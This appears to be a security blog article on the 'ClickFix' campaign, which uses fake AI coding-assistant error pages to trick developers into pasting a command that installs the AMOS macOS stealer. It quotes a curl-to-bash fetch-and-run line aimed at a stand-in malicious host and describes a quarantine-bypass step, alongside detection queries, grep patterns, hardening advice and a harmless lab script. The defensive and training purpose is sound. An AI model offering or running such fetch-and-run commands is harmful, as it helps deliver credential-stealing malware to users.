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Introduction:
A sophisticated social engineering campaign dubbed “ClickFix” is actively targeting developers using Code, a generative AI coding assistant, to deploy the notorious AMOS (Atomic macOS Stealer) malware. This attack leverages a deceptive error page that mimics a legitimate Code update prompt, tricking users into executing a malicious script that bypasses native macOS security controls and exfiltrates sensitive data, including browser credentials, crypto wallets, and system information.
Learning Objectives:
- Identify the social engineering techniques used in ClickFix campaigns to deliver macOS malware.
- Analyze the technical execution of the AMOS stealer and its persistence mechanisms.
- Implement detection and mitigation strategies using endpoint monitoring and user education.
You Should Know:
1. Anatomy of the ClickFix Attack Chain
This attack begins with a phishing vector—often a malicious advertisement or compromised forum post—that directs the target to a page mimicking the official Code interface. The fraudulent page displays a convincing error message, such as “Your Code environment requires an update to function correctly.” Unlike traditional drive-by downloads, the ClickFix method instructs the user to manually copy and paste a terminal command to “resolve” the issue.
What the Attack Does:
The provided command is a base64-encoded payload that, when pasted into a macOS terminal, downloads and executes the AMOS stealer. The command typically uses `curl` or `wget` to fetch a binary from a remote server, marks it executable with chmod +x, and runs it in the background.
Step-by-Step Breakdown:
- The user visits a spoofed Code error page.
- The page presents a pop-up: “Fix Now (Copy to Terminal)”.
3. The command resembles:
`bash -c “$(curl -fsSL http://malicious-server[.]com/update.sh)”`
4. The script downloads a Mach-O binary disguised as a “patch.”
5. The binary runs, checking for Gatekeeper bypasses (often using xattr -d com.apple.quarantine).
6. AMOS is installed and immediately begins harvesting data.
Detection Commands (macOS):
To check for suspicious processes or scheduled tasks:
Check for unusual launch agents/daemons ls -la ~/Library/LaunchAgents/ | grep -v "com.apple" Monitor network connections for suspicious outbound traffic sudo lsof -i -P | grep ESTABLISHED Review recent terminal command history for encoded commands grep -i "curl|base64|chmod" ~/.bash_history ~/.zsh_history
2. AMOS Malware: Persistence and Data Exfiltration
Once executed, AMOS establishes persistence and begins data collection. It primarily targets macOS systems, focusing on credentials from browsers like Chrome, Brave, and Firefox, as well as cryptocurrency wallet files and iCloud Keychain data.
Step-by-Step Persistence Mechanism:
- The malware copies itself to a hidden directory: `~/Library/.SystemPreferences/`
2. It creates a launch agent plist file named `com.apple.systempreferences.plist` to ensure execution at login. - It uses AppleScript to prompt for the user’s system password, elevating privileges to access the Keychain.
- Exfiltration occurs via encrypted HTTPS POST requests to a command-and-control (C2) server, often using legitimate cloud services to blend in.
Mitigation and Hardening:
To block such behaviors, implement restrictions on where users can execute scripts and monitor for abnormal child processes of browsers or terminals.
Example Windows Command (for cross-platform environment analysis):
While AMOS targets macOS, understanding the Windows analogy helps in unified defense:
Monitor for suspicious base64 execution in PowerShell logs
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Where-Object { $_.Message -match 'base64' }
Linux Command to Simulate Detection:
Hunt for processes spawned by terminals with suspicious arguments ps aux | grep -E "curl|wget|base64|sh -c" | grep -v grep
3. Detecting ClickFix with OSQuery and EDR
Endpoint Detection and Response (EDR) tools and OSQuery can be configured to detect the specific patterns associated with ClickFix campaigns. Key indicators include the execution of encoded commands, the creation of new launch agents, and unexpected browser process access.
Step-by-Step OSQuery Queries:
- Identify processes where the command line contains base64 patterns:
SELECT pid, name, cmdline FROM processes WHERE cmdline LIKE '%base64%' OR cmdline LIKE '%curl%' OR cmdline LIKE '%bash -c%';
- Look for new or modified launch agents in the user directory:
SELECT FROM file WHERE path LIKE '/Users/%/Library/LaunchAgents/%' AND (filename LIKE '%.plist');
3. Detect browser credential access:
SELECT FROM file WHERE path LIKE '/Users/%/Library/Application Support/%/Login Data' AND (filename = 'Login Data');
Recommended Configuration:
Deploy a custom EDR rule that triggers an alert when a terminal process executes a command containing both `curl` and `| bash` within a short time window. This is a hallmark of the ClickFix technique.
4. Hardening Developer Workstations Against Social Engineering
The primary vulnerability exploited in this campaign is user trust in terminal commands presented via a web browser. Security controls must focus on breaking this chain through technical and administrative measures.
Step-by-Step Hardening Guide:
- Restrict Copy-Paste to Terminal: Use endpoint security software to block paste operations into terminals from non-terminal applications.
- Gatekeeper Strict Mode: Enforce a configuration where only App Store and identified developers are allowed:
sudo spctl --master-enable
- Disable Unnecessary CLI Tools: For non-admin developers, consider removing `curl` and `wget` if they are not essential, or restrict them via application whitelisting.
- User Education with Simulation: Run simulated ClickFix phishing campaigns where users are presented with fake error pages. Teach them to verify commands with a manager before execution.
-
Lab Exercise: Simulating a ClickFix Scenario for Training
Create a safe, isolated environment to demonstrate the attack to security teams or developers. This exercise uses a controlled script that mimics the AMOS behavior without exfiltrating data.
Step-by-Step Lab Setup:
- Environment: Use a macOS virtual machine with network isolation.
- Create a Mock ClickFix Page: Host a local HTML page with a button that displays a command to run.
- Mock Payload (safe): Create a script named `update.sh` that performs only harmless logging:
!/bin/bash echo "Simulated malware download" >> /tmp/simulation.log Simulate persistence echo "<?xml version=\"1.0\"?><plist>...</plist>" > ~/Library/LaunchAgents/com.simulate.plist launchctl load ~/Library/LaunchAgents/com.simulate.plist
- Execution and Analysis: Have students run the command, then use the detection commands from Section 1 to identify the changes.
- Forensic Artifacts: Instruct students to review the
simulation.log, the launch agent creation, and the network connections to see the simulated beacon.
Windows Equivalent Training:
Create a similar scenario using PowerShell with a safe script that writes to a log file. The detection would focus on PowerShell logging and Windows Event ID 4688 for process creation.
What Undercode Say:
- Trust Verification is Critical: The ClickFix campaign succeeds not through sophisticated exploits, but by weaponizing a developer’s inclination to “fix” a perceived error with a terminal command. Any prompt demanding a manual copy-paste into a terminal from an untrusted source is a red flag.
- Endpoint Hardening Works: Default macOS configurations are insufficient. Enforcing Gatekeeper, restricting Terminal copy-paste, and deploying EDR rules specifically for encoded command execution are essential layers of defense that would have prevented this attack.
- The AI Honeypot: As AI development tools like Code become central to developer workflows, attackers will increasingly craft campaigns that mimic these tools’ updates and errors. Security training must evolve to include safe practices when using AI-assisted coding environments.
Prediction:
The ClickFix method represents a paradigm shift in malware delivery—moving away from exploit kits and towards user-led execution via social engineering. We predict this technique will rapidly expand beyond macOS and AI tools to target all major operating systems and popular development platforms, including VS Code extensions and GitHub Actions. The future of endpoint security will rely less on signature-based detection and more on behavioral analysis of terminal inputs, combined with real-time threat intelligence that flags known malicious domains hosting these “fix” scripts. Expect to see a rise in “paste-blocking” security features and a new wave of security awareness training specifically tailored to AI-powered development workflows.
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IT/Security Reporter URL:
Reported By: Clickfix Campaign – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
